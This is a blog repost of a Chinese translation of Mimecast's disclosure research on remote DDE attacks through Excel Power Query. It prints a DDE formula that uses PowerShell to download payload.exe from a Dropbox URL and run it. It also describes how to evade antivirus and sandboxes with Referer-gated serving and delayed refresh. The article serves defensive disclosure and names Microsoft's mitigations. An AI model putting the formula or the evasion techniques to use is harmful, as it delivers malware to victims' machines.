利用Microsoft Excel Power Query 执行远程DDE攻击

2019-07-03 约 132 字 预计阅读 1 分钟

声明:本文 【利用Microsoft Excel Power Query 执行远程DDE攻击】 由作者 janの秋菊 于 2019-07-03 08:40:00 首发 先知社区 曾经 浏览数 109 次

感谢 janの秋菊 的辛苦付出!

原文链接:https://www.mimecast.com/blog/2019/06/exploit-using-microsoft-excel-power-query-for-remote-dde-execution-discovered/

摘要

编者注:Mimecast威胁情报中心团队感谢团队成员Doron Attias在以下研究中的贡献。

Mimecast威胁情报中心发现了利用Microsoft Excel中Power Query的特性来加载远程动态数据交换(DDE)进而攻击Excel电子表格并控制Power Query执行payload的技术。

Power Query 是一个功能强大且可伸缩的商业智能(BI)工具,它允许用户将电子表格与其他数据源集成,例如外部数据库、文本文档、其它电子表格或web页面等。当数据源被连接时,数据被加载并保存到电子表格中,或者动态加载(例如,当文档打开时)。

Mimecast威胁情报中心团队发现,Power Query还可以用于发起复杂的、难以检测的攻击,这些攻击结合了多个攻击面。使用Power Query,攻击者可以将恶意内容嵌入到单独的数据源中,然后在打开电子表格时将内容加载到电子表格中。恶意代码可以被用来删除和执行可能危及用户机器的恶意软件。

该功能提供了如此丰富的controls,甚至在运行这些payloads前,就可以使用它对沙箱或受害者机器进行指纹识别。攻击者利用精心准备好的payloads和controls,向受害者发送恶意payloads,同时绕过沙箱和其他安全产品的防护。

Mimecast与微软合作,作为Coordinated Vulnerability Disclosure(CVD)过程的一部分,以确定这是Power Query的预期行为,还是需要解决的安全问题。微软拒绝在这个时候发布补丁,而是提供了一个解决方案来帮助缓解这个问题。

从Mimecast威胁情报中心获取最新的威胁研究,并将其发送到您的邮箱。Subscribe to Cyber Resilience Insights today.

我们提供了一个使用Power Query启动DDE漏洞的潜在漏洞的详细演示,该漏洞可以从文件共享站点删除和执行有效payload。

使用Power Query攻击面进行攻击

由于Power Query是Microsoft Excel中的一个强大的工具,因此滥用该功能的潜在威胁是巨大的。如果被利用,它可以用来发起复杂的攻击,这些攻击结合了多个潜在的攻击面,包括本地特权升级、DDE攻击和远程代码执行漏洞。

Power Query的设计特性允许您轻易、动态地嵌入远程内容。这样的攻击通常很难被发现,并且给了攻击者更多的机会去攻击受害者的主机。利用Power Query中的潜在弱点,攻击者可能会嵌入任意恶意payload,这些payload不会像设计的那样保存在文档本身中,而是在文档打开时从web下载。

为了演示如何使用Power Query启动DDE漏洞,将包含payload的外部web页面加载到电子表格中,它可以编写一个自定义的简单的HTTP服务器,将payload托管在要提供服务的web页面上,HTTP服务器在本地80端口上监听DDE的内容,并从电子表格接收到请求时作为响应而将DDE的内容显示出来。

=cmd|'/c powershell -command "& { iwr https://www.dropbox.com/s/jo94jn2s3j84mfr/payload.exe?dl=1 -OutFile payload.exe }";cmd /c payload.exe'!A1,

Microsoft Excel 2016电子表格使用Power Query请求创建的恶意web页面(http://127.0.0.1:80)

远程内容被获取并加载到电子表格中。

Wireshark捕获数据用于查看攻击流。第一个标记包包含了DDE formula :对dropbox.com上的payload.exe的DNS请求,HTTPS会话信息以及发送的payload。

文件格式分析

在检查文件格式时,我们发现"table/table1.xml"是被属性"name:"localhost""(default)和"type:"queryTable""所创建。

表和特定查询表属性之间的链接在."rels" stream("_rels/table1.xml.rels")中描述,其中包含一个名为"target"且指向"../queryTables/queryTable1.xml"的字段。这个queryTable1.xml 使用"connectionld"字段来包含数据链接"connection.xml(收集所有文档连接属性)"。在"\<queryTable>"下,使用"Select *"命令来与dbPR对象建立连接。

web查询本身存储在"xl\customXL\item1"文件中并用base64编码。

在解码base64之后,我们打开了其中包含查询自身的文档"section1"。

要使DDE运行,用户需要双击加载DDE的单元格,然后再次单击释放它。这些操作将触发DDE并启动从web接收到的有效payload。

绕过双击变自动执行

为了绕过“点击运行”的问题,发现在老版本的Microsoft Office中,"Get External Data>> From Web"的实现存在一些差异。如上所述,"dbPr"是在使用Microsoft Office 2016时创建的,用户需要采取行动来激活payload(在某些情况下,例如沙箱,这些点击可以绕过沙箱)。

当 "Get External Data>> From Web" 被用在旧版本的office中(如2010),在"Connections.xml"下创建的对象不是前面提到的"dbPR",而是"webPR",后者要简单得多,与"dbPR"不同的是,"webPR"不需要任何用户操作来运行payload。

利用开发的Power Query工具来绕过杀软和沙箱

向web请求(query)中添加头部信息以便payload能绕过杀软和沙箱,这些功能的设计正是为了阻止这些恶意内容。web服务器仅在请求中出现特定HTTP头时才提供恶意内容。反病毒程序从文件中提取了HTTP服务器的URL,但没有解析文件头。当AV发送测试请求时,服务器知道这是来自AV的请求而不是电子表格。

只有当HTTP头中的Referer被设置为"www.google.com"时,DDE才会有效,否则发送的内容将不会被服务器解析。

通过在"Advanced" 模式下使用Power Query设置特定的web HTTP 头,Power Query使用请求的"Referer"头来执行web请求。

如果另一个应用程序试图模拟Power Query的行为,并且没有请求具有正确"Referer"头的web页面,那么只有在使用Microsoft Excel应用程序打开原始文档时才会发送payload。

由于沙箱将发送自定义HTTP头作为请求的一部分,因此需要一种避免检测的新方法,在Power Query中可使用"auto refresh" 和 "refresh"功能。

为了避免可能将此文件标记为恶意软件或恶意内容,可以在打开文件时强制刷新文件数据,并在保存之前从外部数据范围中删除数据。这些属性确保在打开文件时更新文件中的payload。将文件设置为每分钟刷新一次(最低时间),并在第10次查询时提供payload。这意味着在不到10分钟内运行该文件的每个沙箱将永远捕获不到我们的payload。

在本例中,大多数静态分析类的AV都检测不到文件(它不包含payload),而只下载一两次文件内容的沙箱或其他安全软件同样也查杀不到。

解决方案

Mimecast威胁情报中心团队向微软安全响应中心(MRSC)提供了我们的漏洞验证信息。MRSC打开了一个案例,但微软决定不修复这个行为,他们的回应包括了一个变通方案,要么使用组策略来阻止外部数据连接,要么使用Office Trust center来实现同样的效果。MRSC接受了我们的要求,根据CVD政策发表这项研究。

微软发布了一个advisory(4053440),指出了为Microsoft Office应用程序提供安全设置信息的步骤和过程。此建议为用户提供了可以做些什么来确保在处理动态数据交换字段时正确地保护这些应用程序的指南。

攻击者正试图攻破受害者的防御,但这也是一个机会,随着时间的推移,这种攻击终会被安全专家和安全信息共享平台检测到。Mimecast强烈建议所有Microsoft Excel用户采用微软的建议从而避免潜在的安全风险。

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now